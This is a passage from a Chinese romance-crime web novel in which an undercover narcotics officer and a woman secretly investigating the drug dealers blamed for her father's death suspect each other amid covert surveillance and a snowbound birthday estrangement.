“据我所知,轻松一号跟老海比,那是白菜的价。”沈宗野说。 向邬道觉得像面对一个小学生一样好笑,他笑出声,可是他并不解释,只是笑容倏然冷下来,盯着沈宗野说:“你可以选择是回去等死,还是回去等我安排的好戏。让你在董爷那里立足,我还有这个实力。” 沈宗野点点头,毫不犹豫地说:“我没得选。” “我选邬哥。我想活,还想活得有面子。而且,谁不怕死呢。”沈宗野苦笑。 向邬道很满意:“沈宗野,要是让我发现你两头吃,你会死得很惨。” 沈宗野郑重地点头,像一个小角色多了一点被威胁到的懦弱,但他依旧还是很有胆色,提出他的要求。向邬道认真听着,答应了他。 一切波云诡谲好像都变得风平浪静。 要走时,沈宗野才说:“梁然我给你带来了,人还给你。” 向邬道扬扬眉:“都说了,你的小弟不是我的人,你的女人我自然也没碰。” 沈宗野淡淡一笑:“我信么?她这么带劲。” 向邬道看着他,视线之间多了一点两个男人聊起女人的下流,他笑:“你想送给我玩?” “她本来就是你的人,又谈什么送。” “我说了,她不是我的人。”向邬道点燃一只雪茄,饶有兴致地回味,“人家对你一见钟情,你却把她当成我的狗了?看来你早就知道她来见过我。” 沈宗野有些诧异,不过他不动声色地笑:“有一回看见了,所以我知道邬哥早晚会见我。” 向邬道淡淡一笑:“你自己带回去吧,我不抢你的女人。她是个良家女,不知道为什么偏偏看中了你,谁叫你外表这么出色呢。” 走出大门时,迎面灌来冰冷的寒风。 零下十几度的夜晚实在寒冷,沈宗野跨出门看着庭院中的梁然。 昏暗的灯光下,她用大衣裹着怀里的白色小猫,另一只手在看手机。屏幕的光照着这张精致明媚的脸,她听到了动静,抬起头看他,露出担心和欣喜。 “你终于出来了。”梁然来到他身前,“没事吧?” 沈宗野睨着梁然:“你想进去打个招呼么?” 梁然微怔:“你的对手我认识?” “是啊,他叫向邬道。” 梁然顿住,表情有明显的僵滞。 她只是想起了今天沈宗野的异常,他说是来见一个对手,好像还说了这个对手在他身边安排了一个眼线? 梁然看着沈宗野,他似笑非笑,看不出任何喜怒,表情很平静,好像依旧只是和她随口说起。 “向邬道吗,他只是我一个普通朋友,他是我一个女性朋友的前男友,我和他不算熟。他在你身边安排的眼线是谁啊?”梁然紧紧看着沈宗野。 沈宗野盯着她,淡笑:“是浩子。” “吓我一跳,我还以为你误会我,以为那个眼线是我呢。”梁然松了口气。 “不进去跟他打个招呼?” “不了,既然他是你对手,以后我就不跟他做朋友了。”梁然说,“其实之前就是他跟我说董叔想找人帮他做轻松一号的生意,我知道你想跟着董叔做事嘛,才故意透露给你的,你会相信我吗?” 沈宗野搂过梁然:“手这么冷。”他将梁然的手揣进他大衣的兜里,另一只手又从她怀里接过葡萄,“我相信你,他刚刚已经跟我说了,我和他之间的恩怨也解除了。走吧,你身上太冷了。” 梁然彻底放下心。 但似乎又觉得总有一点说不上来的感觉,好像沈宗野过于相信她? 她抬起头,沈宗野正好也低头扯开大衣将她半个身体罩住,挡却了冷风,搂着她和葡萄走下山。 梁然看着他,沈宗野垂眸望来,将她搂得更紧了:“还是冷?那走快一点,回市区去给你买杯热饮,别吹头痛了。” 梁然终于放下心笑了起来。 这是一座私人领地,山林里异常寂静,他们加快脚步走向车子。 暗夜掩盖了沈宗野犀利的眼眸,和眼底那一片冷漠。 梁然实在太冷了,到了车上连忙钻进车厢里。 沈宗野盯着她的背影,目光是深沉的寒意。 她是谁? 第63章 第63章是真爱 梁然到底谁? 沈宗野没办法全信向邬道的话。 对于这些罪犯,他们的话都无法让人全信。他自然不会相信梁然不是向邬道的眼线,当然也不会再信梁然是向邬道的眼线。 他高烧昏迷那一天,梁然多担心他,叫了开锁师傅打开他的房门,着急地冲进房间里,摄像头拍下了她脸上的焦急,可同时也拍到她下一秒的冷漠。 那是无比冷静的淡漠,她毫无温度的眼睛里好像席卷着浓烈的憎恶。 沈宗野从来没有相信过梁然是喜欢他。 甚至她呆在他身边可能都是出于被迫和忍耐。 她到底是谁? 或者她到底是谁的人? 在他身边是什么目的? 车子驶出山区,朝城郊的公路驶去,路灯排开的道路逐渐明亮。 谢天明和云肖都很担心沈宗野,想问刚才什么情况,但碍于梁然在场一时没办法多问。 沈宗野只是问云肖:“老九在泰国认识一个王哥?” “谁啊?”云肖想了好久才想起来,“是有这么个人,听老九说那趟遇到个老乡,人还挺仗义,那天还帮了他忙,他请人在路边吃了顿盒饭。” “哥,有什么问题吗?” 沈宗野拨动着打火机的滚轮:“没什么。” 他转头问梁然:“还冷吗?” 梁然说已经不冷了。 葡萄蹲在他们中间,沈宗野摸了摸它的裙子,捏到纽扣上的凸起,将纽扣解开。 梁然忽然之间坐立不安。 沈宗野的余光览下这一幕,她手指微微弯曲的变化,她有些僵直的薄背,她一切轻微的异常都在暴露她的不安。 但她很自然地看着他拆出葡萄纽扣里的摄像头,浮起笑:“干嘛把葡萄的防丢器弄下来啊,它走丢了我去哪找它。” “我看着也像防丢器。” 沈宗野也极自然地笑笑,只看着葡萄,揉它脑袋:“现在买宠物配的东西还挺齐全,它有摄像功能吧?你把今天这段视频发给我,我拿去给董叔。” 梁然并没有拒绝他,甚至有一瞬间蒙混过关的侥幸。 沈宗野看着车窗外的夜,眼神冰冷。 车子开回公寓了,但沈宗野没有下车,对梁然温柔地说:“你先回去,我还有事去处理。” 梁然抱着猫,点点头:“你想把这件事说给董叔?” “嗯。”沈宗野淡淡一笑,“你不会告诉向邬道吧?” “当然不会,你是我男朋友,我自然跟你是一条心。” 沈宗野有些感动:“快抱葡萄回去,别着凉了。” 梁然微微一笑。 车子开出地下车库,重新汇入夜色。 谢天明和云肖这才问沈宗野都发生了什么。 沈宗野把向邬道的目的说完,但没有提到梁然。 云肖脸色凝重:“也不知道董叔会不会信咱们?对了,嫂子是怎么回事,不是要把她还给乌鱼吗?” “不急,她还有用。”沈宗野淡淡说。 只有谢天明懂沈宗野话里的隐藏,但这会儿也没有多问。 董自新在城郊有一栋别墅,这里只有董自新和几个看起来是佣人打扮的人一起住,甚至连一个年轻女性都没有,一眼看去便只会觉得男主人是个只爱养花种树的男人,住这么大的房子也没有一个女主人。可这趟泰国之行才让沈宗野看到董自新的另一面,这个中年男人脚下跪着十九岁的少女,手段变态又残忍,每次出现在身边的女人又都不一样。 这趟回宁城也是董自新突然的决定,沈宗野只听其中一个人说董自新是回来看家人。 沈宗野进到别墅,客厅里的佣人让他去楼下台球室,董自新在楼下打球。 别墅的地下室有健身房和台球室,董自新的酒窖。 这会儿,董自新正打完球坐在长桌前休息,佣人给他倒了一杯醒过的红酒。 董自新问沈宗野为什么这么晚过来。 沈宗野说:“董叔,乌鱼找我了,他让我做他的卧底。” 董自新饶有兴致地看沈宗野。 沈宗野十分恭谨,把葡萄拍下的视频给他看。虽然视频没拍到和向邬道谈话的画面,但却更显得真实。沈宗野很了解董自新的多疑,越是完美的事,这个中年男人越不会去信。 “我在猫身上藏了摄像头,但进门的时候身上家伙都被清空,之后的视频没法录到。”沈宗野说起向邬道迷惑了他两个手下,说起泰国这趟向邬道有在背后帮他清空阻碍。 “董叔,我对您绝对真诚,我不会卖您。” 董自新穿着宽大的家居服,晃着杯子里的酒,水晶吊灯将酒液照得像鸽血的红。 好长一段死寂之后,董自新盯着沈宗野笑:“跟我说这么多,那你心里已经有了主意。” “是,我想将计就计,看看他们的计划。乌鱼说如果我卖他,他会让我死得很惨,我第一个想的倒不是他威胁我,我是在想您身边可能已经了他的眼睛。不如将计就计,把他的眼线找出来。” 董自新并不觉得沈宗野能说出这句话有多么聪明过人,他倚进沙发里点燃雪茄:“我知道他在我身边安插有人,但是他还敢把手伸这么长,那我也没必要给他们余地。”董自新说,“你有什么想法,放手去做吧。” 沈宗野感激了一番董自新的信任。 他想了想,还是问出心底的疑虑:“董叔,为什么他这么看重轻松一号?这玩意儿这么好卖?” 董自新弯起唇笑了,他不疾不徐吞吐着雪茄的醇厚,在浓烟之中神秘莫测地开口:“有些东西的身价是买它的人定的,学生买轻松一号,它就只是轻松一号。富豪买,它就是极品红宝石。” 他盯着沈宗野,略挂皱纹的眼角一眯,肆笑的眼里只显露冰山一角。 “它已经是一座王国了,谁叫皇室贵族都青睐呢。小沈,你的眼界要放长远。” 沈宗野没有再听到关于轻松一号更多的消息,不过他大概能理明白了,向邬道上面的主也许原本是想和董自新共谋利,但董自新不肯,向邬道那里才千方百计想出这些招数。 这么看来,在南城和宁城热销的这种新型毒。品在境外早就已经肆意滋长了。 沈宗野要离开时,董自新还播着葡萄录下的这段视频,在沈宗野转身时漫不经心问:“这个女人是谁,声音真动听。” 沈宗野折回身:“是我女朋友,董叔喜欢……” “我抢了手下的女人还怎么让他们效忠我。”董自新头也不抬,关掉视频,“你走吧,联系我找徐川,最近别来我这儿。” 沈宗野点点头离开。 他自然不可能把梁然献出去,对一个缉毒警察来说是违反他职业道德。 刚才的视频他特意剪掉开头有梁然露脸的片段,整段视频里都不会看到她的人,只有一些手部的画面。但沈宗野还是低估了董自新,光凭一道声音,董自新就能特意多问一句。那不过也就是梁然中途和葡萄说了句不要乱动,温柔地问葡萄是不是冷。 沈宗野离开了别墅。 他没有回公寓,而是找了家酒店住。 云肖在隔壁的房间里。 谢天明单独问沈宗野关于梁然的事情。 “你怎么把梁然带回来了,我们来住酒店是什么意思?不回公寓也得回公司去住吧。” “乌鱼说梁然不是他的人。” 谢天明怔住。 沈宗野在回想梁然这些时间以来的异常。 她对他很温柔,但她看起来又好像不是一个那么温柔的性格。 她对他的耐心实在是好,即便他像个渣男一样对她忽冷忽热,她都可以顺从地忍耐他,说爱他。 向邬道说梁然是一个良家女,沈宗野不会信他的话。 如果梁然真的是,那她不会对轻松一号这么坦然,还能几次见他教训手下都那么无动于衷,完全不像一个正经公民的样子。 沈宗野说:“乌鱼说她是一个良家女,按他的话梁然对我是真爱。”沈宗野在冷静地分析。 但这话把谢天明听笑了,他拧开小冰箱里的可乐,边喝边分析:“她要真的是个遵纪守法的好女孩,跟你撞见老万那次怎么解释?老万可是被警方捕的,她和你都算是现场逃犯,她真是个好女孩,她当时就该好好问你,还有她包里那么多防身用具又怎么解释?” “还有李浩侵犯她那次,她最好的方式就是报警,但也没有。咱们把轻松一号都搁明面上了,你跟着董叔贩毒,她也觉得是很正常的事情。” 谢天明说,她怎么都不能算是一个良家女孩。 沈宗野也的确在疑惑这些:“明天你回公寓把我的卡拿过来。” “好,你想给王叔打电话查梁然?” 沈宗野点头,他跟上级联络只能用规定的号码。 谢天明说明天一早回公寓取,想起葡萄,谢天明又笑了:“你就说哪个正常女孩能在那么可爱的猫猫身上安监控啊,我真服了,你俩刚才在车上演戏也演得逼真,一个一个都这么自然,我看她如果真是个好女孩,不如把我踢了让她跟你搭档吧,你们俩比我都还默契……” 谢天明忽然想起来:“我记得老单还有个亲妹妹啊!老单把她送去国外念书了,你还记得吗?” 沈宗野记起来了,当时老单喝酒时说漏了嘴。 毒贩也会忌讳暴露自己的家人,老单也是在喝多后才说他有个高学历的好妹妹,人美心善,知道他贩毒后哭着劝他收手,但被他送去了国外念书,老单不想牵连妹妹,兄妹俩已经有两年没见过了。 沈宗野有些迟疑。 干卧底的他们都不会对没有确凿证据的事情那么笃定,即便梁然真是老单的妹妹,那也是一个毒贩的妹妹,拿着贩毒来的钱富养自己,还窝**贩、包庇犯罪,算不得好人。 更何况沈宗野完全不觉得梁然是一个好人,如果真的是,那她的伪装就连他也骗过了。 …… 第二天,沈宗野和董自新在电话里策划了一场戏。 谢天明回公寓帮沈宗野取电话卡。 谢天明的动作已经很轻了,但梁然还是感应到了,打开房门看着对面的他。 “天明,一个人回来的吗?” 谢天明回头笑:“是啊嫂子,你起这么早啊。” 葡萄从门缝里钻出来,亲昵地抓起谢天明裤腿,又溜进了客厅里。 梁然也就这样自然地走进了客厅,和葡萄一起坐到沙发上。 关于昨晚的事梁然想了一个晚上。 她觉得沈宗野的信任有些太容易了,但他昨晚也看不出异常,这个男人脾气古怪,不喜欢的时候连敷衍都不会,昨晚沈宗野对她很好,一路上都在关心她有没有被冻着,好像确实没有因为向邬道的出现而怀疑她。 梁然笑着看谢天明,也是想确认一下沈宗野的态度。 “你哥去公司了吗?” “嗯,他今天有些事。” 梁然说:“他什么时候回来?” “我也不知道。” 谢天明拿了东西准备走:“嫂子,我要出门了,那你等下帮我关下大门吧。” “我跟你一起去吧。”梁然说,“今天是你哥的生日,过了他的生日就是除夕了,我们应该好好给他过个生日,也好好过个年。走吧。” 第64章 第64章心却为她撑伞 谢天明当然不想带梁然,但他说了很多话也没完全拒绝得了,他的态度不能太明显,否则担心梁然会意识到他们在查她。 谢天明只好开车带上了梁然。 梁然抱着葡萄坐在车厢后排:“你哥今天大概几点忙完,昨晚睡得晚吗?” “不知道,今天他事情有点多。” “生日还不休息呀。”梁然轻笑着,这话像是对葡萄说的,葡萄喵喵叫一声。 “你在这座商场停一下,我给你哥订了生日礼物。”梁然看着窗外的商场说。 谢天明靠边停下。 专柜的销售将梁然订的生日礼物亲自送到了商场外的广场。 谢天明在梁然下车去拿的瞬间给沈宗野发去一条微信:「梁然跟我一起来了。」 沈宗野回:「我不见她。」 梁然很快回到车上,谢天明放下手机,驱车汇入车流。 谢天明停在酒店门口,对梁然说:“嫂子,刚刚我没打通我哥的电话,我去问下前台他退房没有。” 梁然点点头,还没有意识到沈宗野是在躲她。 谢天明把东西委托前台送到房间,回到车上:“我哥退房了,我们回公司吧。” 梁然逗着葡萄,只是在笑。 晴朗的宁城今天竟是一个阴云绵绵的天气,吹起寒冷的强风,竟渐渐下起雪来。 梁然心情愉快,葡萄和她一样喜欢雪,在院子里追着雪玩。 大鱼做了很多好菜,他们也给沈宗野准备了礼物,梁然在公司坐到了下午,直到渐渐察觉出不对。 她拨给沈宗野的电话都没有人接。 谢天明和云肖也早就开车离开了公司。 梁然给谢天明打电话,谢天明说他们去帮沈宗野办事了,不知道沈宗野在哪儿。 梁然只好给沈宗野发消息。 「你几点回来呀,快到晚上了。」 「今天有吃长寿面吗」 「沈宗野,祝你生日快乐,我在家等你」 直到夜里,梁然都没有等到沈宗野。 她终于按耐不住,开车驶去「云上人间」,但和她相熟的前台说这两天没有看到沈宗野过来。 梁然下楼离开时,在车库里看到了一台熟悉的车。 是陈沥周。 梁然有心避开陈沥周,只当做不曾看到,驶出车位。 黑色迈巴赫的防窥车窗看不到一丝人影,直到梁然经过车头,余光里才看到端坐在驾驶座的陈沥周。 青年一身黑色大衣,镜片折着光,安静坐在车里。 梁然没有回头,直接开车离开。 她和陈沥周之间早就理清了,昨天她就已经将所有赔款由工作室汇给陈沥周。 这是一个勇敢的青年,他们还有相似的痛苦,可惜她和他注定做不了朋友,也许等这些毒贩都被法律制裁那天,他们兴许还可以再次做回朋友吧。 梁然开车驶向白天谢天明去过的酒店。 她现在并不觉得早上谢天明是特意开车过来问一嘴沈宗野有没有退房。 梁然很聪明,她没去问前台,而是直接在酒店的车库找到了沈宗野的车。 她拍了张照片发给沈宗野:「为什么不接我电话,你在生我的气吗?」 梁然没有等到回复。 她实在不知道她做错了什么,是昨天因为向邬道?可昨晚沈宗野对她很好,根本不再像从前那种忽冷忽热。 梁然站到了楼下,酒店亮灯的房间就那些,中间一间房的白纱窗帘遮着,透出里头昏黄的灯光,窗口一道人影闪过。 梁然再次打通沈宗野的电话,但直到铃声自动挂断他也还是没有接听。 风太冷了,雪落得很急。 梁然的手冻得有些发红,从耳边拿下手机,迎着冷风僵硬地打字。 「沈宗野,我做错什么了让你要避着我?」 「当个缩头乌龟有意思吗?你敢不敢下楼见我」 梁然依旧没有收到回复。 酒店六楼的房间里,沈宗野长腿交叠,靠坐在沙发上懒懒看着瓷杯里白毫涤荡的茶汤。 谢天明把脑袋从白纱窗帘后缩回来。 “这么晾着她不是办法啊,外面零下呢,下这么大雪。” 沈宗野不想再见梁然。 到现在她的身份存疑,那么接近他的目的就存疑,他从来不信她是真的喜欢他。 手机又有微信消息进来。 Zahe:「我知道你在楼上看着我,你告诉我做错了什么好吗?不要这样冷暴力我」 Zahe:「沈宗野,你这样让我好难过,请你相信我是真的很爱你」 真的很爱你。 沈宗野好笑地勾起薄唇。 如果不是他房间里的摄像头真切地拍到梁然眼睛里的冷漠,他兴趣真的会在这样大雪纷飞的寒冬雪夜里,相信一个守在楼下的娇弱美人。 Zahe:「今天是你的生日,你不要不高兴,我希望你每天都是快乐的」 沈宗野摁灭手机屏幕。 谢天明说:“王叔什么时候能查到啊?” “不清楚。”沈宗野白天已经把关于梁然的事情汇报给了王局,王局说查清楚后会给他回信。 杯子里的茶是滚烫的,但窗外的雪冷到没有一丝温度。 面对毒贩,沈宗野的心是一块冷铁。 他并不相信向邬道那句梁然是个良家女。 哪个遵纪守法的好姑娘看到他贩毒还这么淡定? 谢天明:“雪下大了。” 夜风强劲,窗外的雪几乎被横向刮走,疾驰地坠落。 沈宗野收回视线,放下茶杯,起身走去酒店的健身房。 他淡淡说:“你看着点,出了事就下楼把她送走。” 谢天明明白了,这话就是硬要逼梁然知难而退。 也无怪沈宗野心冷,这几次的卧底他身边不是没有过异性来接近,只是沈宗野对她们比梁然更冷漠,连靠近他的机会都没给过,梁然已经算是特例了。 谢天明坐在沙发上,时不时偷偷摸摸在窗户边上看一眼,雪落满梁然的头发,直到一把黑色的大伞撑在她头顶。 是陈沥周。 路灯昏黄的光影拉长梁然的影子,她整个人都在这场雪夜里冷到发抖,直到这把伞为她挡住了风雪。 她抬起头,陈沥周是隐忍的,镜片后的眼睛也在愤怒。 他明明对她那么失望,明明知道她在包庇一个毒贩,明明说了要跟她绝交。 他眯起眼睛看她:“这就是你等的男人吗,他算个男人么?” 梁然没说话,冷风不再那么强劲地钻进她脖子里,头顶的雪不再那么厚重,她缓和了几秒终于才有些力气说:“我的事不用你管,你走吧。” 陈沥周呼吸急促,深深看着梁然,在她无动于衷的视线里转身收回伞走开。 只是余光里,梁然被路口的冷风吹弯了腰,他竟还是会不忍心,会下意识折返,将他的伞撑在她头顶。 “梁然,你看过你现在的样子吗?你好好睁开眼睛看看你现在的模样,你还像我认识的那个梁然吗!”陈沥周把手机镜头打开,要她看摄像头里的人。 梁然看到了,这个人满身风雪,睫毛挂着雪粒,鼻尖和脸颊全都被冻红。 她的嘴唇在发抖,吐出的气息带起一片白气。 “你不用管我,我自己知道离开,我再等一会儿……” “你在等什么?等一个完全不关心你死活的人?” 梁然想说她在等她脑子想明白,想明白沈宗野今天为什么突然大逆转,不再见她,想明白如果沈宗野不再喜欢她了,她该怎么继续留在这个男人身边。 陈沥周的伞几乎都偏向了梁然这头。 梁然望着他黑色大衣上的雪,望着这双既愤怒又还在担心她的眼睛,她觉得陈沥周跟她一样,某些时刻有执拗的愚蠢。 “我已经把赔偿款给陈总结清了,陈总还有什么问题?” 陈沥周喘着粗气,满眼愤怒。 是的,梁然的赔偿款在昨天就第一时间结算清了。 这笔赔偿费用是陈沥周推算过梁然工作室的实力后定的,属于很霸道的条款,如果赔付给他,她的工作室就运营不下去,他以为梁然会来求他,但她没有。 前几天,陈沥周是恨梁然的。 而昨天陈沥周也依旧在恨梁然。 但是气愤过后大脑才开始逐渐清醒,他在诧异梁然的人品。 她能第一时间把赔偿打给他,证明她是讲信用的人。 一个有信用的人真的会包庇罪犯吗?或者,一个和男朋友一起贩毒的人会舍得把两千万痛痛快快给出去? 陈沥周今天去了「云上人间」,想去再查沈宗野,但他没在那里再看到任何熟脸,这些人就好像约好了一同消失一样。要离开时,他在车库看到了梁然。 他于是一直在思考这个问题,梁然既然守信赔给他这么不合理的违约金,某些程度上绝对不是因为害怕他揭发给的封口费。 他带着理不清的疑惑开车跟上梁然,一路跟到了这里。 他在车里坐了很久了,他不想下车站在梁然面前,让她看到他明明前两天还在说恨她,这一秒却能为她撑伞,他不想让她知道他对她心软。 他就这样在车里一直坐着,直到梁然抱住双臂,冷到背影都在打颤。陈沥周才下了车,穿过这一片风雪,将伞撑在梁然头顶。 此刻,梁然依旧还是那天晚上那种漠然的样子。 但是陈沥周清楚地明白,对着梁然,他好像做不到漠视她。 他拽住梁然手腕,将她拉向车子。 梁然用力挣脱,陈沥周不顾她反对,手臂拦在她腰后,几乎将她推上了车厢。 从来都斯文儒雅的他,也会有这样蛮横的一面。 车厢里暖和到像春天。 梁然大口地哈着气息,手和脚几乎冻僵掉,完全缓不过来知觉。 陈沥周锁上车门,将暖风调到最高,出风口对准梁然,递给她一瓶热水。 梁然接过水的手都在发抖,大口喝水的她已经顾不上水滴到唇角了。 陈沥周紧绷着唇,将车开向梁然居住的公寓。 两个人谁都没有说话,直到车子到了小区外,陈沥周将车停下。 梁然说了谢谢,触碰车门时却没能打开。 陈沥周:“如果你现在离开这个男人,我会把赔偿款退还给你。” “不用了,本来就是你的。”梁然再次去碰车门,还是没法打开,她正要开口,回头时撞上了陈沥周痛苦的眼眸。 他的眼睛压抑而愤怒,斯文儒雅的人发起怒来,是风雨欲来的变天。 “我不要求你喜欢谁,但他是个毒贩,难道今晚还不足以让你看清他么?梁然,你为什么这么执迷不悟?” 梁然沉默了一下:“感情是说不清楚的,我的事你别管了,今晚我欠你一个人情……” “我不需要你欠我。”陈沥周打开中控,冷漠地看着夜色,“下车。” “谢谢。”梁然推开车门下了车。 黑色迈巴赫疾驰地穿进风雪夜。 回到公寓,梁然把自己浸泡在热水中,一点点洗去满身冷到透骨的寒。 她恨沈宗野。 这一刻她恨到希望他马上去死。 梁然没有睡意,总想做点什么出气。 身体觉得暖和了,她裹着宽大的羽绒服,出门将之前没有机会寄走的两封信投递到了一条居民老巷的一处邮筒里。 只是梁然没有看到尾随在她身后的两个人。 她的信竟都到了陈沥周手上。 那两个人正是陈沥周之前拜托去跟踪梁然的中年男人,其中一个手抖的男人把信递给陈沥周。 陈沥周问:“怎么会有她的信,你们怎么拿到的?” 男人有些愧疚:“偷的。把邮筒撬开偷的。” 陈沥周抿起唇,镜片后的眼睛沉静下来。 他沉默了一会儿问:“她还好吗?” “小陈老师,那位梁然美女很好啊,看不出什么问题。” 陈沥周推了推眼镜:“她穿得厚吗,看起来冷吗?” 男人忙说穿着羽绒服,是从车上下来的,应该不会冷。 陈沥周捏着信封不再说话。 两个中年男人说了句对不起后离开了。 对于偷盗信件,陈沥周也不知道说什么,因为他确实在调查梁然。 从理智回归之后,他白天就已经派过助理去查梁然了,只是助理到今晚都还没有消息给他。 陈沥周拆开信。 一张照片掉下来,他瞳孔一缩,死死捏着照片一角。 是梁然胸前的抓痕。 她的皮肤上布满泛着淤紫的红色抓痕,在白皙的皮肤上触目惊心。 信封里还有一张信纸。 「2018年2月10日 我被沈宗野的手下李浩拽进员工宿舍,他想强。暴我,被沈宗野阻止未遂。照片为他侵犯我时留下的证据,我于当天晚上使用手机闪光灯拍摄。 李浩吸食毒。品轻松一号,并且意图强迫我吸食。 李浩,男,22岁,口音羊省人。」 陈沥周捧着信,双手都在颤抖。 第二封信是一张打印在A4纸上的群聊记录: 群名[北北宵夜零食团] 北:「西瓜叶子,不送货」 小完犊子:「埋地。雷,我私你?」 北:「你道友要不要?」 Q:「轻松一号有不?」 陈沥周寻找证据的这些年也混迹过这种群,他一眼就能看出这些暗语,这是线上的毒贩在群里贩毒。 A4上也有梁然手写的文字: 「2018年2月7日 我利用摄像头拍到谢天明的手机群聊,他意图购买毒品轻松一号。」 陈沥周的手仍在颤抖,他重新看着第一张照片。 梁然的皮肤干净白皙,可是上面布满了抓痕,从锁骨延伸到胸前。 他的眼神颤抖起来,有滚烫的热流袭上眼框。 梁然并不是包庇毒贩,相反,她是在揭发他们。 为什么? 她为什么不说? 陈沥周从这座废旧工厂离开,坐上车。 他拨通助理的电话:“让你查梁然还没查到吗?” “陈总,梁小姐工作室的资料我已经在整理了,梁小姐毕竟在国外留学,我暂时还没有这么快查到她国外的……” “查到什么不能提前发给我么?!”陈沥周几乎是吼出来。 他是个斯文理性的人,从来没有这样大的情绪。 助理有些被吓到,连忙说马上把目前的资料发给他。 陈沥周将车停下,看着助理传来的资料。 梁然的工作室何时成立,都接过哪些项目。 梁然多久去的国外,她在国内小初高的履历,她的家庭成员。 直到看见后面助理备注的一栏,陈沥周震住。 「梁然的父亲梁幸均是国内有名气的古典建筑方面设计师,于去年去世,去世后梁然曾报案梁幸均是被毒贩所害,我询问过怀城知名律所,查找到梁幸均可能是在见义勇为的过程中受害去世,律所暂时没有给我确切答复,故此栏暂为疑问栏。」 所有真相都在这个备注的疑问栏里。 它们在陈沥周眼里已经不算疑问了,而是确切的答案。 他终于知道梁然为什么会喜欢上沈宗野那样的男人,那根本就不是喜欢,她是在用她的人身安全做赌注,去查一个罪大恶极的毒贩啊。 陈沥周忽然想起来那天在那座日式庭院里,他说出他妈妈的故事后梁然红了眼眶,原来她也和他有着相似的痛苦,对他的苦难感同身受,可惜明明她就站在他眼前,她却无法告诉他真相。 陈沥周调转车头冲进夜色,车速极快。 他想去见梁然,让她离开沈宗野身边。 可是理智逐渐回来,他怎么去劝服梁然? 告诉她让她离开宁城,去过她原本的生活,他会替她报仇? 她不会答应的。 就像他这么多年坚持查找真相,他爸爸心疼他,也曾劝过他会替他去查找真相,希望他不要趟进这趟浑水,好好生活。他也从来没有答应。 梁然没有告诉他真相,也是不希望把他带进泥里。 可她不知道,他本来就已经在这泥里了。 陈沥周思考着,他要怎么才能让梁然主动离开? 雪疾驰地坠着,落满了挡风玻璃,夜色的尽头都是茫茫的白。 第65章 第65章眼底有排山倒海的汹涌…… 下了一夜的大雪停在第二天的朝阳升起时,整座城市都穿着雪的白衣。 梁然刚刚睡醒,还没起床,侧身看着缓缓打开的电动窗帘外满身披雪的大树发呆。 她看了眼手机,沈宗野还是没有给她回过消息。 梁然起床洗漱,准备去沈宗野的公司找他。 门铃突然响了,是外卖员。 他把一个手提袋给梁然,梁然有些诧异,还以为是沈宗野买的东西,但袋子里是一封快递文件袋。 文件袋上没有面单信息,梁然有些意外,拆开后更加震撼。 “我知道你在做什么 寻找证据是专业人士的事情 现在请你在收到这封信后速速离开 一个卧底” 梁然几乎是下意识地往四周看,窗外一派宁和,对面几户邻居在贴着新年的福字,根本看不出任何异常。 她猛地打开房门追出去,电梯早就下行到一楼了。 梁然快速冲下步梯去追那名快递员,但是楼下空荡一片,只有厚厚的积雪。 她回到房间,飞快关上门。 重新望着这封信喘气。 信是由A4纸打印的,每行连标点符号都没有,但在“一个卧底”后面有一朵手绘的绿色四叶草。 是谁? 这个卧底是谁,警方的卧底吗? 这个人发现她也是来找证据的,不想她一个普通公民搅和进来,才让她走? 梁然还喘着气,跑到厨房用灶台的火将这张纸烧掉了。 她在想卧底警察不会这么轻易暴露才对。 如果真的是一个警方的卧底在这里,那这个人敢暴露就应该见过她,并且和她有过接触才会去查找她的秘密。 梁然反复在想这个人是谁,可她怎么也猜不到。 老九?不对。 大鱼? 是了,看起大鱼最有可能。 大鱼很尊敬沈宗野,是沈宗野身边看起来最干净,最像一个好人的人,并且对她也很关照。 冷静下来,梁然开车去了沈宗野的公司。 …… 昨晚的狂风变作微风,拨动着空气里的冷气。 沈宗野不在公司里,谢天明和云肖也都不在。 只有大鱼和老九、其余两个小弟在,他们热情地喊梁然嫂子,对她很尊敬。 梁然望着大鱼,大鱼在为年夜饭做准备,单薄的青年系着围裙,笑得竟然有些单纯。他看到她这样望着他,有些费解地回头盯盯锅里。 “嫂子,你也想吃啊?等下我做好了叫你。” 梁然抿了抿笑,她并没有直接问,而是把她画的一朵四叶草留在了桌上。 她也没有提醒大鱼,离开厨房去了沈宗野的办公室。 她在沈宗野的电脑上看着监控。 沈宗野这台电脑虽然有密码,可他之前当着梁然的面输入过,梁然现在已经不怕他了。 昨晚他那么无情,而且现在她身边还有一个警方的卧底。 她突然就不怕他了。 电脑上其余的文件都打不开,但至少监控画面可以打开。 监控画面里,大鱼忙着做菜,回头好几次了才发现桌上的卡片。 他拿起来看了眼,又丢下,连忙去盛菜,全程的重心都在他的锅里。 梁然:“……” 看起来不是大鱼吗? 不过她看的影视剧里,卧底警察都很会伪装,光这么试探也证实不出来。 梁然又有些苦笑,她费尽去查一个警察根本没有意义,也许反而会暴露对方。 当务之急还是应该弄清楚沈宗野为什么要躲着她。 梁然又按下沈宗野的号码。 电话依旧能拨通,可沈宗野还是没有接听,铃声响到自动挂断。 沈宗野真冷漠。 梁然恨他。 这个男人前一晚可以做到敞开大衣,将她严严裹着为她御寒;一夜之间又可以做到对她无动于衷,将她独自丢在冷雪夜。 梁然的眼里一片冷意,这种滔天的恨意根本就藏不住,也不想藏。 她重新回到楼下。 大鱼见到她突然的变脸似乎有些怵她,小心翼翼问:“嫂子,宗哥跟你吵架了?” 梁然淡淡浮起笑:“没有。” “那你好像不是很高兴啊?今天是除夕,咱们要高兴一点,肖哥说宗哥今天不过来吃年夜饭,我先提前祝嫂子和哥除夕快乐,白头到老!” 梁然笑:“谢谢。” “嫂子是要去宗哥那里?” “你知道他在哪儿吗?” 大鱼一愣,说不知道,看梁然的眼神明显有些同情。 梁然说:“那我自己去找他吧。” “嫂子别难过,宗哥脾气有时候是大,但他脾气去得也快。”大鱼打包了一些特意做给沈宗野的菜,让梁然带回去吃,仔细叮嘱梁然都该怎么加热。 梁然拎着这些食物开车离开。 道路两旁的路灯上装点着新年的彩灯,路边的行人也挂着迎接新年的笑脸。 梁然的手机今天一直在响,都是工作上的朋友发来的除夕祝福。 她会垂下眼皮看一眼,但置顶的沈宗野还是没有新消息。 梁然将车开回公寓,手机响起铃声,她从车上拎着大鱼打包的食物锁好车,拿起手机看到来电号码时有些意外。 是向邬道。 她看了眼四周,接起电话。 “喂,梁然,新年快乐。” 梁然说:“新年快乐,邬道。” “你的声音好像不是很高兴?” 梁然有些警惕,但她强颜欢笑:“还好啊,只是我男朋友有些生我的气,大过年的还跟我发脾气,都不知道怎么哄他。” 